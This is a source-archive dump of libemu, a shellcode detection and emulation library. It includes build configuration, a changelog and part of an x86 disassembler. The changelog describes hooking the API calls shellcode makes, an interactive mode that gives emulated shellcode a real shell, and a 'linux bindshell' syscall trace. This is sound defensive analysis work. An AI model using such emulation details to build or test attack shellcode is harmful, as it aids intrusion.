libemu-0.2.0+git20120122+564/configure.ac0000644000175300017530000001715511706767213016342 0ustar dt-npbdt-npb# -*- mode: m4; -*- # -*- Autoconf -*- # Process this file with autoconf to produce a configure script. # $Id$ AC_PREREQ(2.59) AC_INIT([libemu], [0.2.0], [nepenthesdev@gmail.com]) AM_INIT_AUTOMAKE([libemu], [0.2.0]) AC_REVISION([$Id$]) AC_PREFIX_DEFAULT(/opt/libemu) AC_CONFIG_SRCDIR([include/emu/emu.h]) AM_CONFIG_HEADER([config.h]) # AM_MAINTAINER_MODE AC_CANONICAL_HOST AC_C_CONST AC_C_BIGENDIAN dnl Check for some target-specific stuff case "$host" in *-*-freebsd*) CPPFLAGS="$CPPFLAGS -I/usr/local/include -I/usr/src/contrib/file/" LDFLAGS="$LDFLAGS -L/usr/local/lib -Wl,-rpath,/usr/local/lib" ;; *-*-linux*) CPPFLAGS="$CPPFLAGS -D _GNU_SOURCE -I/usr/local/include" LDFLAGS="$LDFLAGS -L/usr/local/lib -Wl,-rpath,/usr/local/lib" ;; *-*-darwin*) CPPFLAGS="$CPPFLAGS -I/opt/local/include" LDFLAGS="$LDFLAGS -L/opt/local/lib" if test "$GCC" = "yes"; then CFLAGS="$CFLAGS -no-cpp-precomp" fi ;; esac # Checks for programs. AC_PROG_CC AC_PROG_MAKE_SET AC_PROG_LIBTOOL AC_CHECK_HEADERS([stdint.h stdlib.h string.h strings.h unistd.h]) dnl We ought not to have to worry about getopt.h, getopt{,1}.c, dnl since they can always be unconditionally compiled and linked. See dnl http://mail.gnu.org/archive/html/autoconf/2000-12/msg00049.html dnl and surrounding thread for discussion. However that doesn't dnl appear to work in fact, and the function in getopt_long.c has dnl different magic to avoid getting horribly tangled up. AC_CHECK_FUNCS(getopt) AC_CHECK_DECLS([getopt,getsubopt,getopt_long,setenv,putenv]) AC_REPLACE_FUNCS(getopt_long getsubopt) dnl getopt_long.c uses (and provides a replacement for) dnl this glibc utility function AC_CHECK_FUNCS(__strchrnul) # Checks for typedefs, structures, and compiler characteristics. AC_C_INLINE AC_TYPE_UID_T AC_STRUCT_TM AC_TYPE_SIZE_T AC_TYPE_SIGNAL AC_CHECK_SIZEOF(long) AC_CHECK_SIZEOF(off_t) # Checks for library functions. AC_FUNC_ERROR_AT_LINE AC_TYPE_SIGNAL AC_CHECK_FUNCS([strndup inet_ntoa memmove memset strdup strerror]) # library soname # check http://sources.redhat.com/autobook/autobook/autobook_91.html#SEC91 libemu_current=2 libemu_revision=0 libemu_age=0 libemu_soname=$libemu_current:$libemu_revision:$libemu_age AC_SUBST(libemu_soname) AM_PROG_CC_C_O dnl ************************************************** dnl * large filesystem Support * dnl ************************************************** AC_MSG_CHECKING(for Large File System support) AC_ARG_ENABLE(lfs, AC_HELP_STRING([--enable-lfs],[Turn on Large File System (default)]), [case "$host" in *-*-linux*) case "${enableval}" in yes) CPPFLAGS="${CPPFLAGS} -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -D_LARGE_FILES" ;; no) ;; *) AC_MSG_ERROR(bad value ${enableval} for --enable-lfs) ;; esac ;; esac],[ CPPFLAGS="${CPPFLAGS} -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -D_LARGE_FILES" enable_lfs=yes] ,enable_lfs=no,) AC_MSG_RESULT($enableval) dnl ************************************************** dnl * debug code & debug messages * dnl ************************************************** AC_MSG_CHECKING(whether debug code generation should be enabled) AC_ARG_ENABLE([debug], [AS_HELP_STRING(--enable-debug, enable debug code generation [[default=yes]])], [enable_debug=${enableval}], [enable_debug="yes"]) if test x"$enable_debug" = "xyes"; then AC_DEFINE([DEBUG], 1, [enable debug code generation]) fi AC_MSG_RESULT($enable_debug) #dnl ************************************************** #dnl * interactive hooks * #dnl ************************************************** # #AC_MSG_CHECKING(if hooks should be interactive) #AC_ARG_ENABLE([interactive-hooks], # [AS_HELP_STRING(--enable-interactive-hooks, enable interactive hooks (dangerous!)[[default=no]])], # [enable_interactive_hooks=${enableval}], [enable_interactive_hooks="yes"]) #if test x"$enable_interactive_hooks" = "xyes"; then # AC_DEFINE([HAVE_INTERACTIVE_HOOKS], 1, [enable interactive hooks]) #fi #AC_MSG_RESULT($enable_interactive_hooks) dnl ************************************************** dnl * python bindings * dnl ************************************************** AC_ARG_ENABLE([python-bindings], [ --enable-python-bindings Compile bindings for Python], [enable_python="$enableval"],[enable_python="no"]) AM_CONDITIONAL([ENABLE_PYTHON_BINDINGS], [test x$enable_python = xyes]) dnl ************************************************** dnl * libcargos * dnl ************************************************** AC_SUBST([LIB_CARGOS]) AC_SUBST([LIB_CARGOS_LIBDIR]) AC_SUBST([LIB_CARGOS_INCDIR]) enable_cargos="yes" AC_ARG_ENABLE(cargos, [ --enable-cargos enable support for libcargos], [enable_cargos="$enableval"],[enable_cargos="yes"]) AC_ARG_WITH(cargos-include, [ --with-cargos-include=DIR libcargos include dir], [cargos_inc="$withval"],[cargos_inc=no]) AC_ARG_WITH(cargos-lib, [ --with-cargos-lib=DIR libcargos library dir], [cargos_lib="$withval"],[cargos_lib=no]) if test x$enable_cargos = "xyes" ; then OLD_CPPFLAGS=${CPPFLAGS}; if test x$cargos_inc != "xno"; then CPPFLAGS="${CPPFLAGS} -I${cargos_inc}" fi AC_CHECK_HEADER(cargos-lib.h,[enable_cargos=yes],[enable_cargos=no]) if test x$enable_cargos = "xyes" ; then OLD_LDFLAGS=${LDFLAGS} if test x$cargos_lib != "xno"; then LDFLAGS="${LDFLAGS} -L${cargos_lib}" fi AC_CHECK_LIB([cargos],[cargos_lib_create],enable_cargos="yes", enable_cargos="no") if test x$enable_cargos = "xyes" ; then LIB_CARGOS="-lcargos" LIB_CARGOS_LIBDIR="-L$cargos_lib" LIB_CARGOS_INCDIR="-I$cargos_inc" AC_DEFINE([HAVE_LIBCARGOS], [1], [Define to 1 to compile with cargos support]) fi fi CPPFLAGS=${OLD_CPPFLAGS} LDFLAGS=${OLD_LDFLAGS} fi AC_DEFUN([AC_DEFINE_DIR], [ prefix_NONE= exec_prefix_NONE= test "x$prefix" = xNONE && prefix_NONE=yes && prefix=$ac_default_prefix test "x$exec_prefix" = xNONE && exec_prefix_NONE=yes && exec_prefix=$prefix dnl In Autoconf 2.60, ${datadir} refers to ${datarootdir}, which in turn dnl refers to ${prefix}. Thus we have to use `eval' twice. eval ac_define_dir="\"[$]$2\"" eval ac_define_dir="\"$ac_define_dir\"" AC_SUBST($1, "$ac_define_dir") AC_DEFINE_UNQUOTED($1, "$ac_define_dir", [$3]) test "$prefix_NONE" && prefix=NONE test "$exec_prefix_NONE" && exec_prefix=NONE ]) AC_DEFINE_DIR(PREFIX, prefix, [default working directory]) AC_DEFINE_DIR(LOCALESTATEDIR, localstatedir, [where to put logs etc]) AC_DEFINE_DIR(LIBDIR, libdir, [where to look for plugins]) AC_DEFINE_DIR(SYSCONFDIR, [sysconfdir], [System configuration dir]) AC_DEFINE_DIR(DATADIR, [datadir], [The directory for installing idiosyncratic read-only architecture-independent data.]) AC_DEFINE_DIR(DATAROOTDIR, [datarootdir], [The root of the directory tree for read-only architecture-independent data files.]) emu_data_dir=$datadir/emu AC_SUBST(emu_data_dir) CFLAGS="${CFLAGS} -Wstrict-prototypes" AC_CONFIG_FILES([Makefile src/Makefile src/functions/Makefile include/Makefile include/emu/Makefile include/emu/environment/Makefile include/emu/environment/win32/Makefile include/emu/environment/linux/Makefile testsuite/Makefile doc/Makefile libemu.pc bindings/Makefile bindings/python/Makefile bindings/python/setup.py tools/Makefile tools/sctest/Makefile]) AC_OUTPUT echo echo "*** libemu configuration ***" echo "" echo "debug : $enable_debug" echo "" echo "bindings" echo " - python : $enable_python" echo "" echo "support" echo " - cargos : $enable_cargos" libemu-0.2.0+git20120122+564/libemu.pc.in0000644000175300017530000000041111706767213016245 0ustar dt-npbdt-npb prefix=@prefix@ exec_prefix=@exec_prefix@ libdir=@libdir@ includedir=@includedir@ Name: libemu Description: library to detect and profile shellcodes URL: http://libemu.mwcollect.org Version: @VERSION@ Requires: Libs: -L${libdir} -lemu Cflags: -I${includedir} libemu-0.2.0+git20120122+564/CHANGES0000644000175300017530000002703511706767213015045 0ustar dt-npbdt-npb Changelog for libemu 30.11.2008 libemu 0.2.0 ( created with svn log -r HEAD:1385 | grep -v -- "----" | grep -v ^r | grep -v ^libemu | grep -v "^$") - stubs for - instr_daa_27 - instr_das_2f - instr_aas_3f - instr_wait_9b - instr_pushf_9c - instr_popf_9d - instr_sahf_9e - instr_lahf_9f - instr_mov_8c - instr_mov_8e to support obfuscated nop slides (ADMmutate) - changed sctest verbosity -v be verbose, print level info -vv print info & instructions -vvv print info, instructions & cpu state - gcc 4.3.2 enforces return value checks for (v)asprintf, system, f(read|write), in most cases (ran out of memory) we can just bail out with exit(-1) - there is no sctestmain.h - fix sctest's append() - accept using sane socklen_t value - rename the INT(bits) and UINT(bits) macros to INTOF(bits) and UINTOF(bits) as INT collides on windows - fixed off by one for dumping the tests - added _NO_TESTS #define check for sctest to not compile any test cases into the library this is required by Malzilla to include a Windows libemu binary in their distribution that is not flagged by A/V (Bojan Spasic) - nanny shadowed a local parameter - createprocess did not work on x86_64 as the structs got different sizes, now we do not copy the structs, but only the values we want - emu_env_w32 hook setup: status messages disabled, logging should be managed by the application - emt64 fixes to allow compiling on x86_64 plattforms maybe it is a bad habbit to store integer values on pointers to save some bytes in this case I stored eip in a hashmap, using the hashmaps key pointer of type void * as store compiling the code on a 64bit plattform .. made the cast invalid, as sizeof(void *) != sizeof(uint32_t) therefore I had to cast to uintptr_t before casting to uint32_t in some places. another thing is printing memory addresses, %08x works fine on 32bit plattforms, to be portable one should use %p, which does not prepend leading zeros. - sctest, for interactive cmd prompt sessions, allow recording the cmd prompt session creates a 'spy' process with socketpairs, duping the filedescriptors, and multiplexing using select basically, the spy reads from the sockets, and writes the data to the cmd prompt process using socketpairs the cmd prompts stdout and stderr is written to a socketpair, which is read by the spy process, and gets written to the connection the process id returned by CreateProcess(cmd) is the spy's process id, so WaitForSingleObject waits for the spy process to exit the spy process exists if the cmd prompt ends (the socketpair gets closed), the connection gets closed, or we hit a timeout - fix bug introduced by making profiles optional, env->env.win->loaded_dlls[i]->baseaddr is invalid if we found it, as the loop does not stop - hook URLDownloadToFile in sctest - allow hooking URLDwnloadToFile - sctest, use the optional profiling - win32/linux env: profiling is optional - allow hooking WinExec - improved backtracking: 64A1... mov eax,[fs:...] now inits eax - sctest - implement hooks for fopen fwrite fclose CreateFile WriteFile CloseHandle implement a nanny to make sure we do not use invalid filehandles add the nanny to the Makefile now sctest can emulate shellcodes which download files themselves, it will store the file in /tmp/-XXXXXX - use emu_profile_argument_add_sockaddr_ptr where possible to save some lines - move win32 fopen fclose fwrite hooks from env_w32_dll_export_kernel32_hooks to env_w32_dll_export_msvcrt_hooks - profile GetProcAddress and WriteFile - allow hooking for CreateFile WriteFile and CloseHandle - to simplify profiling, create emu_profile_argument_add_sockaddr_ptr for use in connect&bind hooks - implement default logger as callback - porting to big endian broke cmp for lil endian, as endian.h was not included, and the big endian code did not honor argumentsizes for cmp reg{16,32} , imm8 fixed - profile win32 sendto() - introduce emu_hashmap_{ptr,string}_{hash,cmp} functions, to avoid further duplicated code, remove duplicate hashtable hash and cmp functions - fix sctest Makefile - split sctest in different files and move to tools/sctest/ - add hooks for win32 ExitProcess and ExitThread - add profile information for ExitProcess, ExitThread and SetUnhandledExceptionFilter - basic big endian support - main problem is unaligned memory access leading to SIGBUS - imm16 is unaligned by default. all operations using imm16 have/had to be sanatized - emu_memory access, reading/writing dwords and words requires inverting the byte order on big endian - emu_memory has use bcopy to create aligned copies of vars - emu_memory has to use bcopy instead of memcpy to access the memory, as memcpy sigbusses on unaligned memory - the INSTR_CALC macro's have to use aligned copies of the values, I ported the required macros for sctest and instrtest, a some are left 'todo' - instrtest uses nasm to create binary code from asm, nasm does not work correctly on sparc64, therefore the binary data for the test which failed on sparc64 due to nasm failure got added - adc instr_group_1_83_adc used imm16 for 'ADC r/m16,imm8' instead of imm8, fixed - sctest (void)va_arg calls, so gcc does not complain - host is optional for --bind and --connect - remove interactive-hooks from configure and README - install profile and env headers to proper location - emu_log_set_logcb introduced: void my_emu_logcb)(struct emu *e, enum emu_log_level level, const char *msg){ printf("%s", msg); emu_log_set_logcb(emu_logging_get(emu), my_emu_logcb); - for the win32 environment s/printf/logDebug/g - add emu_env.h to include_HEADERS - sctest, introduce --cmd to allow overriding commands example sctest --cmd cmd="/bin/sh -c \"cd ~/.wine/drive_c/; wine 'c:\windows\system32\cmd_orig.exe' \"" will execute a real windows shell using wine if cmd is executed by shellcode - sctest, opts orderd by name, introduced --connect/-c and --bind/-b to override connect/binds when run --interactive - Michal Spadlinski pointed out that instr_group_1_82 is an alias for instr_group_1_80 and the instr_group_3_f6 used instr_group_3_f7 instead of instr_group_3_f6 - restructured the process environment now we have emu_env as the holder for linux and win32 as well as emu_env_hook for the api hooks. env functions take emu_env and emu_env_hook as args, and access the required *thing* themselves furthermore I introduced a different kind of hooking api calls using variadic callbackfunctions the benefit is easy, the interactive hooks do not have to be part of libemu itself any longer and hooking calls does not require access to the emu/cpu/memory all you have to do is retrieve the arguments for the function to be hooked from the va_list using va_arg - sctest got -i --interactive, using the interactive hooks from sctest itself - scprofiler, more code - profiling for socket in w32 env - adjust sctest - small list attail fix in run_and_track init the env in run_and_track - slightly smarter traversal if traversal fails due to stack operations which are not track(ed|able), or something different bruteforce the instructions 'infront' of the known, taking the static tree as input from the result, take the first offset doing 256 steps one might be able to speed this up, caching already tested positions using the hashtable which is given as parameter to run_and_track - emu_profile_function_argument_get arg0 is return value - instrtest tests for special cases of sib/modrm - void *emu_profile_function_argument_get(struct emu_profile_function *function, int argc); added, expected to work - emu_profile supports shorts - sctest, minor changes, try to reestablisch getpctest() - scprofiler, testdummy for emu_profile_function_argument_get() - env win32 - add msvcrt export section - hook _execv - emu_profile_{dump,parse} added - emu_profile_function has returnvalue now - sctest -p FILENAME dumps the profile - profiling for recv fopen fwrite fclose added - introduce render_array, required for arrays (used in execve() on linux), emu_profile_argument_array_start & emu_profile_argument_array_end - profile alle required calls on linux - some minor fixes in sctest - auto* libcargos with --enable-cargos --with-cargos-lib= --with-cargos-inc= sctest uses per-program specific CPPFLAGS and LDFLAGS to link libcargos if avalible - sctest runs leakfree in graphmode - emu_profile rename *_ref to *_ptr - rename emu_profile_argument_{start,end} to emu_profile_argument_struct_{start,end} - introduce render_none, usefull for refs where the actual value is uninteresting - free the mallocs, emu_profile properly cleans up now - sctest runs leakfree - emu_profile introduces an api for storing function calls and parameters storing return values is todo, as well as dumping/rereading the profiles - improve sctest codequalitity, split profiling process into prepare() and test, allow reading shellcodes from argos csi files (prepare_argos(struct emu *e)) using the argos csi profiling will require proper linking with libcargos, which is not done by now. - this change will introduce memory leaks - python bindings auto* - python bindings, set library_dirs according to @libdir@, create setup.py via configure from setup.py.in - sctest, hook linux syscall exit() - linux env, add exit(), reorder fork - env linux hook fork(), return 4711 - environments allow providing userdata now, accessing the userdata within a callback is possible using emu_env_linux_syscall->userdata or emu_env_w32_dll_export->userdata - move python binding to bindings/python, integrate in autoconf using conditional dirs - preliminary libemu python interface, currently only supports testing for shellcodes - linux env, header Makefile.am - fpu backwards traversal was dodgy, comparing fpu state with eflags does not make any sense look at the src/emu_track.c diff to see the mess when fixing, the size of the fpu state got shrinked to one bit, we don't need the others anyway TRACK_FPU_LAST_INSTRUCTION had to be adjusted to comply with one bit vars - sub reg32_a,reg32_b inits reg32_a if reg32_a == reg32_b - proper linux syscall hooking, removed the int_cd code and created a linux environment - lookup the syscalls name from a struct, in case of syscall groups like socketcall for accept,socket,connect,... provide a helper fn within the struct which returns the proper syscall name - provide default syscall hooks for socketcall, dup2 and execve, stored in a struct - for each environment, copy the struct, create a hashtable on (syscall_name, syscall_hook) - use emu_env_linux_syscall_hook to overwrite default syscall hooks - added the linux environment to sctest - drawing graphs from linux shellcode is possible now - first functional api hooks for int - drafting int hooking for a linux env, the switch structure is way too long, structs are preferable, and the code should move to environment/linux, but at least it shows some basic actions for now 'sctest -t 24 -s 100 verbose = 0 testing (#24) 'linux bindshell' sys_socket(2) sys_bind(2) sys_listen(2) sys_accept(2) sys_dup2 sys_dup2 sys_dup2 sys_dup2 sys_dup2 sys_execve cpu error error accessing 0x0000000b not mapped stepcount 73 ' - add group3 to itables - pkg-config support, now 'pkg-config --libs --cflags libemu' allows proper linking - sctest -o for manual offset, understands hex and decimal - instruction group, return -1 if group[i->modrm.opc] is NULL instead of calling NULL - add emunids.c to testsuite, won't be build, is EXTRA_DIST 19.09.2007 libemu 0.1.0 - initial release libemu-0.2.0+git20120122+564/src/0000755000175300017530000000000011706767213014632 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/src/libdasm.c0000644000175300017530000007431111706767213016417 0ustar dt-npbdt-npb /* * libdasm -- simple x86 disassembly library * (c) 2004 - 2006 jt / nologin.org * * libdasm.c: * This file contains most code of libdasm. Check out * libdasm.h for function definitions. * */ #include #include #include "libdasm.h" #include "opcode_tables.h" // Endianess conversion routines (thanks Ero) __inline__ BYTE FETCH8(BYTE *addr) { // So far byte cast seems to work on all tested platforms return *(BYTE *)addr; } __inline__ WORD FETCH16(BYTE *addr) { #if defined __X86__ // Direct cast only for x86 return *(WORD *)addr; #else // Revert to memcpy WORD val; memcpy(&val, addr, 2); #if defined __LITTLE_ENDIAN__ return val; #else return ((val & 0xff00) >> 8) | ((val & 0x00ff) << 8); #endif // __LITTLE_ENDIAN__ #endif // __X86__ } __inline__ DWORD FETCH32(BYTE *addr) { #if defined __X86__ return *(DWORD *)addr; #else DWORD val; memcpy(&val, addr, 4); #if defined __LITTLE_ENDIAN__ return val; #else return ((val & (0xff000000)) >> 24) | ((val & (0x00ff0000)) >> 8) | ((val & (0x0000ff00)) << 8) | ((val & (0x000000ff)) << 24); #endif // __LITTLE_ENDIAN__ #endif // __X86__ } // Check for address/operand size override __inline__ enum Mode MODE_CHECK_ADDR(enum Mode mode, int flags) { if (((mode == MODE_32) && (MASK_PREFIX_ADDR(flags) == 0)) || ((mode == MODE_16) && (MASK_PREFIX_ADDR(flags) == 1))) return MODE_32; else return MODE_16; } __inline__ enum Mode MODE_CHECK_OPERAND(enum Mode mode, int flags) { if (((mode == MODE_32) && (MASK_PREFIX_OPERAND(flags) == 0)) || ((mode == MODE_16) && (MASK_PREFIX_OPERAND(flags) == 1))) return MODE_32; else return MODE_16; } // Parse 2 and 3-byte opcodes int get_real_instruction2(BYTE *addr, int *flags) { switch (*addr) { // opcode extensions for 2-byte opcodes case 0x00: // Clear extension *flags &= 0xffffff00; *flags |= EXT_G6; break; case 0x01: *flags &= 0xffffff00; *flags |= EXT_G7; break; case 0x71: *flags &= 0xffffff00; *flags |= EXT_GC; break; case 0x72: *flags &= 0xffffff00; *flags |= EXT_GD; break; case 0x73: *flags &= 0xffffff00; *flags |= EXT_GE; break; case 0xae: *flags &= 0xffffff00; *flags |= EXT_GF; break; case 0xba: *flags &= 0xffffff00; *flags |= EXT_G8; break; case 0xc7: *flags &= 0xffffff00; *flags |= EXT_G9; break; default: break; } return 0; } // Parse instruction flags, get opcode index int get_real_instruction(BYTE *addr, int *index, int *flags) { switch (*addr) { // 2-byte opcode case 0x0f: *index += 1; *flags |= EXT_T2; break; // Prefix group 2 case 0x2e: *index += 1; // Clear previous flags from same group (undefined effect) *flags &= 0xff00ffff; *flags |= PREFIX_CS_OVERRIDE; get_real_instruction(addr + 1, index, flags); break; case 0x36: *index += 1; *flags &= 0xff00ffff; *flags |= PREFIX_SS_OVERRIDE; get_real_instruction(addr + 1, index, flags); break; case 0x3e: *index += 1; *flags &= 0xff00ffff; *flags |= PREFIX_DS_OVERRIDE; get_real_instruction(addr + 1, index, flags); break; case 0x26: *index += 1; *flags &= 0xff00ffff; *flags |= PREFIX_ES_OVERRIDE; get_real_instruction(addr + 1, index, flags); break; case 0x64: *index += 1; *flags &= 0xff00ffff; *flags |= PREFIX_FS_OVERRIDE; get_real_instruction(addr + 1, index, flags); break; case 0x65: *index += 1; *flags &= 0xff00ffff; *flags |= PREFIX_GS_OVERRIDE; get_real_instruction(addr + 1, index, flags); break; // Prefix group 3 or 3-byte opcode case 0x66: // Do not clear flags from the same group!!!! *index += 1; *flags |= PREFIX_OPERAND_SIZE_OVERRIDE; get_real_instruction(addr + 1, index, flags); break; // Prefix group 4 case 0x67: // Do not clear flags from the same group!!!! *index += 1; *flags |= PREFIX_ADDR_SIZE_OVERRIDE; get_real_instruction(addr + 1, index, flags); break; // Extension group 1 case 0x80: *flags |= EXT_G1_1; break; case 0x81: *flags |= EXT_G1_2; break; case 0x82: *flags |= EXT_G1_1; break; case 0x83: *flags |= EXT_G1_3; break; // Extension group 2 case 0xc0: *flags |= EXT_G2_1; break; case 0xc1: *flags |= EXT_G2_2; break; case 0xd0: *flags |= EXT_G2_3; break; case 0xd1: *flags |= EXT_G2_4; break; case 0xd2: *flags |= EXT_G2_5; break; case 0xd3: *flags |= EXT_G2_6; break; // Escape to co-processor case 0xd8: case 0xd9: case 0xda: case 0xdb: case 0xdc: case 0xdd: case 0xde: case 0xdf: *index += 1; *flags |= EXT_CP; break; // Prefix group 1 or 3-byte opcode case 0xf0: *index += 1; *flags &= 0x00ffffff; *flags |= PREFIX_LOCK; get_real_instruction(addr + 1, index, flags); break; case 0xf2: *index += 1; *flags &= 0x00ffffff; *flags |= PREFIX_REPNE; get_real_instruction(addr + 1, index, flags); break; case 0xf3: *index += 1; *flags &= 0x00ffffff; *flags |= PREFIX_REP; get_real_instruction(addr + 1, index, flags); break; // Extension group 3 case 0xf6: *flags |= EXT_G3_1; break; case 0xf7: *flags |= EXT_G3_2; break; // Extension group 4 case 0xfe: *flags |= EXT_G4; break; // Extension group 5 case 0xff: *flags |= EXT_G5; break; default: break; } return 0; } // Parse operand and fill OPERAND structure /* * This function is quite complex.. I'm not perfectly happy * with the logic yet. Anyway, the idea is to * * - check out modrm and sib * - based on modrm/sib and addressing method (AM_X), * figure out the operand members and fill the struct * */ int get_operand(PINST inst, int oflags, PINSTRUCTION instruction, POPERAND op, BYTE *data, int offset, enum Mode mode, int iflags) { BYTE *addr = data + offset; int index = 0, sib = 0, scale = 0; int reg = REG_NOP; int basereg = REG_NOP; int indexreg = REG_NOP; int dispbytes = 0; enum Mode pmode; // Is this valid operand? if (oflags == FLAGS_NONE) { op->type = OPERAND_TYPE_NONE; return 1; } // Copy flags op->flags = oflags; // Set operand registers op->reg = REG_NOP; op->basereg = REG_NOP; op->indexreg = REG_NOP; // Offsets op->dispoffset = 0; op->immoffset = 0; // Parse modrm and sib if (inst->modrm) { pmode = MODE_CHECK_ADDR(mode, iflags); // Update length only once! if (!instruction->length) { instruction->modrm = *addr; instruction->length += 1; } // Register reg = MASK_MODRM_REG(*addr); // Displacement bytes // SIB can also specify additional displacement, see below if (MASK_MODRM_MOD(*addr) == 0) { if ((pmode == MODE_32) && (MASK_MODRM_RM(*addr) == REG_EBP)) dispbytes = 4; if ((pmode == MODE_16) && (MASK_MODRM_RM(*addr) == REG_ESI)) dispbytes = 2; } else if (MASK_MODRM_MOD(*addr) == 1) { dispbytes = 1; } else if (MASK_MODRM_MOD(*addr) == 2) { dispbytes = (pmode == MODE_32) ? 4 : 2; } // Base and index registers // 32-bit mode if (pmode == MODE_32) { if ((MASK_MODRM_RM(*addr) == REG_ESP) && (MASK_MODRM_MOD(*addr) != 3)) { sib = 1; instruction->sib = *(addr + 1); // Update length only once! if (instruction->length == 1) { instruction->sib = *(addr + 1); instruction->length += 1; } basereg = MASK_SIB_BASE( *(addr + 1)); indexreg = MASK_SIB_INDEX(*(addr + 1)); scale = MASK_SIB_SCALE(*(addr + 1)) * 2; // Fix scale *8 if (scale == 6) scale += 2; // Special case where base=ebp and MOD = 0 if ((basereg == REG_EBP) && !MASK_MODRM_MOD(*addr)) { basereg = REG_NOP; dispbytes = 4; } if (indexreg == REG_ESP) indexreg = REG_NOP; } else { if (!MASK_MODRM_MOD(*addr) && (MASK_MODRM_RM(*addr) == REG_EBP)) basereg = REG_NOP; else basereg = MASK_MODRM_RM(*addr); } // 16-bit } else { switch (MASK_MODRM_RM(*addr)) { case 0: basereg = REG_EBX; indexreg = REG_ESI; break; case 1: basereg = REG_EBX; indexreg = REG_EDI; break; case 2: basereg = REG_EBP; indexreg = REG_ESI; break; case 3: basereg = REG_EBP; indexreg = REG_EDI; break; case 4: basereg = REG_ESI; indexreg = REG_NOP; break; case 5: basereg = REG_EDI; indexreg = REG_NOP; break; case 6: if (!MASK_MODRM_MOD(*addr)) basereg = REG_NOP; else basereg = REG_EBP; indexreg = REG_NOP; break; case 7: basereg = REG_EBX; indexreg = REG_NOP; break; } if (MASK_MODRM_MOD(*addr) == 3) { basereg = MASK_MODRM_RM(*addr); indexreg = REG_NOP; } } } // Operand addressing method -specific parsing switch (MASK_AM(oflags)) { // Register encoded in instruction case AM_REG: op->type = OPERAND_TYPE_REGISTER; op->reg = MASK_REG(oflags); break; // Register indirect encoded in instruction case AM_IND: op->type = OPERAND_TYPE_MEMORY; op->basereg = MASK_REG(oflags); break; // Register/memory encoded in MODRM case AM_M: if (MASK_MODRM_MOD(*addr) == 3) return 0; goto skip_rest; case AM_R: if (MASK_MODRM_MOD(*addr) != 3) return 0; skip_rest: case AM_Q: case AM_W: case AM_E: op->type = OPERAND_TYPE_MEMORY; op->dispbytes = dispbytes; instruction->dispbytes = dispbytes; op->basereg = basereg; op->indexreg = indexreg; op->scale = scale; index = (sib) ? 1 : 0; if (dispbytes) op->dispoffset = index + 1 + offset; switch (dispbytes) { case 0: break; case 1: op->displacement = FETCH8(addr + 1 + index); // Always sign-extend if (op->displacement >= 0x80) op->displacement |= 0xffffff00; break; case 2: op->displacement = FETCH16(addr + 1 + index); break; case 4: op->displacement = FETCH32(addr + 1 + index); break; } // MODRM defines register if ((basereg != REG_NOP) && (MASK_MODRM_MOD(*addr) == 3)) { op->type = OPERAND_TYPE_REGISTER; op->reg = basereg; } break; // Immediate byte 1 encoded in instruction case AM_I1: op->type = OPERAND_TYPE_IMMEDIATE; op->immbytes = 1; op->immediate = 1; break; // Immediate value case AM_J: op->type = OPERAND_TYPE_IMMEDIATE; // Always sign-extend oflags |= F_s; case AM_I: op->type = OPERAND_TYPE_IMMEDIATE; index = (inst->modrm) ? 1 : 0; index += (sib) ? 1 : 0; index += instruction->immbytes; index += instruction->dispbytes; op->immoffset = index + offset; // check mode mode = MODE_CHECK_OPERAND(mode, iflags); switch (MASK_OT(oflags)) { case OT_b: op->immbytes = 1; op->immediate = FETCH8(addr + index); if ((op->immediate >= 0x80) && (MASK_FLAGS(oflags) == F_s)) op->immediate |= 0xffffff00; break; case OT_v: op->immbytes = (mode == MODE_32) ? 4 : 2; op->immediate = (mode == MODE_32) ? FETCH32(addr + index) : FETCH16(addr + index); break; case OT_w: op->immbytes = 2; op->immediate = FETCH16(addr + index); break; } instruction->immbytes += op->immbytes; break; // 32-bit or 48-bit address case AM_A: op->type = OPERAND_TYPE_IMMEDIATE; // check mode mode = MODE_CHECK_OPERAND(mode, iflags); op->dispbytes = (mode == MODE_32) ? 6 : 4; op->displacement = (mode == MODE_32) ? FETCH32(addr) : FETCH16(addr); op->section = FETCH16(addr + op->dispbytes - 2); instruction->dispbytes = op->dispbytes; instruction->sectionbytes = 2; break; // Plain displacement without MODRM/SIB case AM_O: op->type = OPERAND_TYPE_MEMORY; switch (MASK_OT(oflags)) { case OT_b: op->dispbytes = 1; op->displacement = FETCH8(addr); break; case OT_v: op->dispbytes = (mode == MODE_32) ? 4 : 2; op->displacement = (mode == MODE_32) ? FETCH32(addr) : FETCH16(addr); break; } instruction->dispbytes = op->dispbytes; op->dispoffset = offset; break; // General-purpose register encoded in MODRM case AM_G: op->type = OPERAND_TYPE_REGISTER; op->reg = reg; break; // control register encoded in MODRM case AM_C: // debug register encoded in MODRM case AM_D: // Segment register encoded in MODRM case AM_S: // TEST register encoded in MODRM case AM_T: // MMX register encoded in MODRM case AM_P: // XMM register encoded in MODRM case AM_V: op->type = OPERAND_TYPE_REGISTER; op->reg = MASK_MODRM_REG(instruction->modrm); break; } return 1; } // Print operand string #if !defined NOSTR int get_operand_string(INSTRUCTION *inst, OPERAND *op, enum Format format, DWORD offset, char *string, int length) { enum Mode mode; int regtype = 0; DWORD tmp = 0; memset(string, 0, length); if (op->type == OPERAND_TYPE_REGISTER) { // check mode mode = MODE_CHECK_OPERAND(inst->mode, inst->flags); if (format == FORMAT_ATT) snprintf(string + strlen(string), length - strlen(string), "%%"); // Determine register type switch (MASK_AM(op->flags)) { case AM_REG: if (MASK_FLAGS(op->flags) == F_r) regtype = REG_SEGMENT; else if (MASK_FLAGS(op->flags) == F_f) regtype = REG_FPU; else regtype = REG_GEN_DWORD; break; case AM_E: case AM_G: case AM_R: regtype = REG_GEN_DWORD; break; // control register encoded in MODRM case AM_C: regtype = REG_CONTROL; break; // debug register encoded in MODRM case AM_D: regtype = REG_DEBUG; break; // Segment register encoded in MODRM case AM_S: regtype = REG_SEGMENT; break; // TEST register encoded in MODRM case AM_T: regtype = REG_TEST; break; // MMX register encoded in MODRM case AM_P: case AM_Q: regtype = REG_MMX; break; // XMM register encoded in MODRM case AM_V: case AM_W: regtype = REG_XMM; break; } if (regtype == REG_GEN_DWORD) { switch (MASK_OT(op->flags)) { case OT_b: snprintf(string + strlen(string), length - strlen(string), "%s", reg_table[REG_GEN_BYTE][op->reg]); break; case OT_v: snprintf(string + strlen(string), length - strlen(string), "%s", (mode == MODE_32) ? reg_table[REG_GEN_DWORD][op->reg] : reg_table[REG_GEN_WORD][op->reg]); break; case OT_w: snprintf(string + 